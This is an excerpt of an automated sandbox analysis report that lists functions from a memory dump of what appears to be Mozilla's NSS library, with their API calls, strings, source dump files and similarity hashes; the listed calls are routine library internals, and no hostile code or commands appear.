Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C668850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
PR_NewLock.NSS3 ref: 6C668874

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

Strings

NSS, xrefs: 6C668887

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 11ae61fc11875f0d23a237007761a09929445c99d73b24164bf1951d8baf1230
Instruction ID: 96fa8fcd2bc8c91b865f10fa681104922f058432e27e1e63626e358175ef0c5d
Opcode Fuzzy Hash: 11ae61fc11875f0d23a237007761a09929445c99d73b24164bf1951d8baf1230
Instruction Fuzzy Hash: 13F09666E8162033F710227A6D0AB8665985F5775EF044035E90CA7F82EA52D51883FF

Function 6C71B860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6C70A4E2), ref: 6C71B8C6

Strings

%s at line %d of [%.10s], xrefs: 6C71B8BF
database corruption, xrefs: 6C71B8BA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C71B8B0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 0a8ce5af9c9412e20be724a4e543f2ac0e38a4272d2f814f116fd3ffb4cad96a
Instruction ID: 082bd6d25983dc1f838bf14ec8197da4ceb6629b18c4ca0e163a0c5b6599a2fb
Opcode Fuzzy Hash: 0a8ce5af9c9412e20be724a4e543f2ac0e38a4272d2f814f116fd3ffb4cad96a
Instruction Fuzzy Hash: 7701993294829069C3008B3A5E84DA37FBC8F4632170B01C9FA049F3B3E202D901C3D5

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C76A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C76A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C76A662), ref: 6C76A69E
Part of subcall function 6C76A690: PR_NewCondVar.NSS3(?), ref: 6C76A6B4

PR_IntervalNow.NSS3 ref: 6C76A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C76A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A944
PR_SetPollableEvent.NSS3(?), ref: 6C76A94F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 019d5a54a63448dd293a57d6ab67fa5804b93471e14ac5399fa19d4f1c2116a6
Instruction ID: 29076249259467c21242c4c0d6d7afd196dca7a38c5aff19ce078f52be223ec9
Opcode Fuzzy Hash: 019d5a54a63448dd293a57d6ab67fa5804b93471e14ac5399fa19d4f1c2116a6
Instruction Fuzzy Hash: 3D4149B4A01B129FC704CF2AC684956FBF5FF48328725856AE94ACBF11E731E854CB90

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
